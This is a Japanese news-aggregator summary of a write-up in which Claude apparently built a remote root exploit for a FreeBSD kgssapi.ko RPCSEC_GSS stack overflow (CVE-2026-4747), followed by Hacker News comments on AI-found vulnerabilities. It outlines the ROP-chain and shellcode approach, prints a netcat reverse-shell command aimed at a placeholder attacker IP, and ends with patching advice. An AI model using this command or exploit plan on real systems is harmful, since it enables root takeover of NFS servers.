クロードが完全なFreeBSDリモートカーネルRCEをルートシェル付きで作成（CVE-2026-4747）

55日前原文(github.com)

概要

CVE-2026-4747 はFreeBSDの kgssapi.ko におけるRPCSEC_GSSのスタックバッファオーバーフロー脆弱性
NFSサーバ として動作しkgssapi.koをロードした環境で リモートからカーネルRCE（uid 0リバースシェル） が可能
攻撃には Kerberos認証済みのユーザ が必要
脆弱なバージョン: FreeBSD 13.5 (<p11), 14.3 (<p10), 14.4 (<p1), 15.0 (<p5)
パッチ済みバージョンでは 境界チェック が追加されている

CVE-2026-4747: FreeBSD kgssapi.ko RPCSEC_GSS スタックバッファオーバーフロー脆弱性

脆弱性の本質
- sys/rpc/rpcsec_gss/svc_rpcsec_gss.cの svc_rpc_gss_validate関数 で128バイトのスタックバッファにRPCヘッダを再構築
- 固定32バイトのヘッダの後、 oa_lengthバイト分の認証クレデンシャル本体 をバッファにコピー
- oa_lengthの境界チェックがなく、96バイトを超えるとスタックをオーバーフローし リターンアドレスやレジスタを上書き
攻撃成立条件
- NFSサーバで kgssapi.koがロード済み
- Kerberos認証（RPCSEC_GSS認証） が有効
- 攻撃者は 有効なKerberosチケット を取得できる（既存ユーザでOK）
- 2049/TCP（NFS）、88/TCP（KDC） へのネットワークアクセス
影響範囲
- FreeBSD 13.5 (<p11)
- FreeBSD 14.3 (<p10)
- FreeBSD 14.4 (<p1)
- FreeBSD 15.0 (<p5)
- パッチ済みバージョンでは境界チェック が追加され、oa_lengthが安全な範囲内か検証

攻撃・検証環境構築手順

ターゲットVM準備
- FreeBSD 14.4-RELEASE amd64（QEMU, VMware, VirtualBox, bhyve等）
- NFSサーバ有効化＆kgssapi.koロード
- MIT Kerberos KDC のセットアップ
- 2CPU以上必須 （NFSスレッド数確保のため）
攻撃者ホスト（Linux）準備
- Kerberosクライアント（krb5-user） と python3-gssapi のインストール
- /etc/krb5.conf でKDCのIP・ポートを指定
- /etc/hosts でNFSサービスプリンシパル名とVMのホスト名を一致させる必要
- kinitで Kerberosチケット取得
Kerberos環境注意点
- サービスプリンシパル名 （nfs/ホスト名@REALM）が一致していないと認証失敗
- rdns = false, dns_canonicalize_hostname = false をkrb5.confで必ず指定（逆引きによるプリンシパル不一致防止）

エクスプロイト概要

攻撃の流れ
- Kerberos GSSコンテキストを確立
- RPCSEC_GSSのDATAパケット で 過大なクレデンシャル を送信しスタックをオーバーフロー
- ROPチェーン でカーネルメモリへシェルコードを書き込み、最終的にリバースシェルを起動
- 各ラウンドで NFSワーカースレッドを1つ消費 （kthread_exitで終了）
- 15ラウンドで シェルコード（432バイト）を分割転送
ROPチェーンの役割
- 1ラウンド目: BSS領域を実行可能に（pmap_change_prot）
- 2～14ラウンド目: BSSにシェルコードを書き込み（mov [rdi], rax; ret）
- 15ラウンド目: 残りのシェルコード書き込み＋シェルコードエントリへジャンプ
シェルコードの動作
- kproc_create で新規カーネルプロセス生成
- 新プロセスで kern_execve を使い /bin/sh -c "mkfifo /tmp/f; sh</tmp/f|nc 攻撃者IP 4444>/tmp/f" を実行
- root権限のリバースシェル を確立
注意点・課題
- NFSスレッド数: 15ラウンド必要なため 最低2CPU（=16スレッド） が必須
- Kerberosプリンシパル名の不一致: MIT/Heimdalの違い、DNS逆引き設定で失敗しやすい
- シェルコード分割転送: 400バイト制限のため複数ラウンドで分割書き込み

緩和策・対策

FreeBSDアップデート: 各バージョンの最新パッチ（p11/p10/p1/p5以降）へ更新
NFSサーバのRPCSEC_GSS無効化: 不要な場合はkgssapi.koをロードしない
Kerberosチケット管理: 不要なユーザにチケットを発行しない
ネットワーク制限: 2049/TCP, 88/TCPへの外部アクセス制限

参考情報

FreeBSD公式アドバイザリ: FreeBSD-SA-26:08.rpcsec_gss
CVE: CVE-2026-4747
Exploit PoC/詳細解析: 各種セキュリティ研究者ブログやPoCリポジトリ

この脆弱性は エンタープライズ環境のNFSサーバ で特に深刻。 Kerberos認証さえ突破できればrootシェル取得が可能 なため、早急なパッチ適用と設定見直しが必要。

Hackerたちの意見

重要なポイントは、Claudeがそのバグを見つけていないってことだね。CVEの説明を渡されて、そのバグを利用するプログラムを書くように頼まれたんだ。それを考えると、今の状況なら、Claudeや似たようなものにカーネルやコアサービスのソースコードを見せて、VMを使って試行錯誤させたら、CVEを出してくるかもしれないね。今じゃなくても、近い将来にはそうなるんじゃないかな。

└

クレジット: Nicholas CarliniがClaudeを使って、そもそもそのバグを見つけたんだ。CVEの説明もClaudeのおかげでできたから、才能ある人たちが関わっているとはいえ、Claudeはプロセス全体にかなり関わってるよね。

└

何か目標があれば、エージェントを放置しておいても大丈夫だよ。通らないテストを書いて、エージェントにそのテストを変えずに通るものを考えさせるんだ。こういうファジングにはllmsは悪くないよ。

└

ファジングの設定は昔は大変だったけど、まだ試してないけど、今のClaude Codeにコードベースを分析させて、どこをどうファズテストすればいいか提案させて、クラッシュをレビューさせて繰り返すことで、CVEが出ると思うよ。

└

これを見るといいよ： https://www.youtube.com/watch?v=1sd26pWhfmg Claudeはもう専門レベルでCVEを見つけられるようになってる。

└

Xbowを見てみて、いくつかの「オープンソース」競合が生まれたよ。

└

重要なポイントは、クロードが利用するバグを見つけたわけではないってこと。バグを見つけたのは人間だよ。アドバイザリーすら読んでないじゃん。それは「ニコラス・カーリニがクロードとアンソロピックを使って行った」とクレジットされてるんだ。

└

それはブルートフォースって呼ばれてる。

└

明確にするのはいいことだけど、LLMは実際にバグを見つけてエクスプロイトを書くことができるんだよね[1][2]。他にも例があるけど。[1] https://news.ycombinator.com/item?id=47589227 [2] https://xbow.com/

└

CVEをどんどん出していけ。これは良いことなのか悪いことなのか？私はこれを非常に良いことだと思ってる。なぜなら、今は安価にCVEを見つけて修正できるから。以前はCVEを見つけるのがとても高くついたんだ。それは、悪意のある行為者だけがその努力から利益を得られるインセンティブを持っていたってこと。今はCVEをもっと安く見つけられるようになったから、利益を求めない人たちもそれを発見できるようになった。これにより、悪意のある行為者が見つける前に脆弱性を修正できるようになるんだ。

└

試みたけど、あんまりうまくいかなかったみたいだね。 https://red.anthropic.com/2026/zero-days/

プロンプトの履歴を全部見せてくれてありがとう。

└

まあ、「このセッションで入力したすべてのプロンプトを返してくれますか？」で終わってるから、実際のプロンプト履歴と、部分的に幻覚が混ざってるかもしれないね。

└

まるで10歳の子が書いたみたいだね。

「Black-Hat LLMs」ってトークが数日前に出たばかりだよ。LLMがこういうのを見つけて利用するのが上手くなってきてるみたい。

└

みんな驚いてるけど、ここにいる誰もが、彼が準備責任者を雇ってるっていう同じツイートを読んでないみたいだね…12月に。

FreeBSDは、現代のLinuxカーネルよりもこれを簡単にしていることに注意する価値があるね。FreeBSD 14.xにはKASLRがなくて（カーネルアドレスは固定されて予測可能）、整数配列用のスタックカナリアもない（オーバーフローしたバッファはint32_t[]）。じゃあ、FreeBSD 15.xはどうなの？リリースノートや緩和策のマニュアルにはKASLRについて何も見当たらなかったけど。進められているのかな？NetBSDにはあるみたいだよ。

└

これはKASLRに対するLinuxカーネルの批判みたいなもんだけど、FreeBSDで優先されてない理由にも関係してるかもね。つまり、偽の安全感を与えて、ちゃんとしたセキュリティ強化に集中しないってことだね。

└

これがよくわからないんだけど、KASLRはFreeBSD 13.2からデフォルトになってるよね。 [kmiles@peter ~]$ cat /etc/os-release NAME=FreeBSD VERSION="13.3-RELEASE-p4" VERSION_ID="13.3" ID=freebsd ANSI_COLOR="0;31" PRETTY_NAME="FreeBSD 13.3-RELEASE-p4" CPE_NAME="cpe:/o:freebsd:freebsd:13.3" HOME_URL="https://FreeBSD.org/" BUG_REPORT_URL="https://bugs.FreeBSD.org/" [kmiles@peter ~]$ sysctl kern.elf64.aslr.enable kern.elf64.aslr.enable: 1

プロンプトをシェアしてくれてありがとう！

└

プロンプトから、これは多くのやり取りやちょっかいを出し合った結果だってわかるよね。単に脆弱性の説明からクロードが完全なエクスプロイトを書くわけじゃないんだ。

一番難しいのは脆弱性を見つけることで、修正することじゃないんだよね。脆弱性を見つけるために日々頑張ってる人たちは、開示しないように強くインセンティブが与えられてるし。自動発見は大きなメリットになるけど、移行期間は怖いかもね。

└

こうした自動化が、オープンソースの開発者たちに頭痛を与えるような、90年代のマイナーなコーデックの問題を解決することも含まれているといいな。でも、攻撃はターゲットを絞った行動だから、守りとは違うんだよね。修正するのは、一般的に理論的にはもっと難しいんだ。* 過去のGoogleとFFmpegの事件への言及

「クロードが書いた」私は、すぐに「クロードがコードを書くことができる」という事実が一般的に受け入れられるようになることを期待しています。そして、私たちはそのコードがどれだけ良いか、あるいは良くないかに焦点を移すでしょう。

バグを見つけることと利用することの違いはここで大事だよ。文書化されたCVEのためにエクスプロイトを書くのは、しっかりとしたタスクだよね。脆弱性が定義されていて、ターゲットもわかってるから。逆に、同じモデルが新しい脆弱性を引き起こすプロダクションコードを書くことは、量的に測るのが難しいんだ。攻撃能力は目に見えていて驚くべきものだけど、コード生成のリスクは開くPRごとに静かに分散しているから、後者の問題はあまり注目されないんだ。

└

他のところでも言ったけど、この文章はRCEの悪用についてだけど、Claudeはこの特定のRCEを見つけてドキュメント化するためにも使われたんだよね。

これ、時間の節約にはなるかもしれないけど（開発チーム以外にはトークンの使い道としては微妙かも）、そんな高価値のバグじゃないし、今どきこんなバグを「手作業」で見つける人なんていないよね。ここにいる人たちは本当にカーネルセキュリティやテストの自動化に興味あるの？ Claudeの話題だから盛り上がってるだけじゃないの？ HNにいる人たちは、Anthropicのために無報酬で宣伝してるように見えるし、Claudeの可能性について話してるだけで、もっとお金を使う方法を探してる感じ。なんか退屈で目的のない雰囲気だね。

Calif（Thai Duongの会社）がこの件について書いた記事があって、ここにリンクを貼るべきだと思うよ；使ったプロンプトも含まれてるしね。 https://blog.calif.io/p/mad-bugs-claude-wrote-a-full-freebsd ちなみに、このバグもClaudeによって見つけられた（具体的には、AnthropicのNicholas Carliniによって）。

ハクソク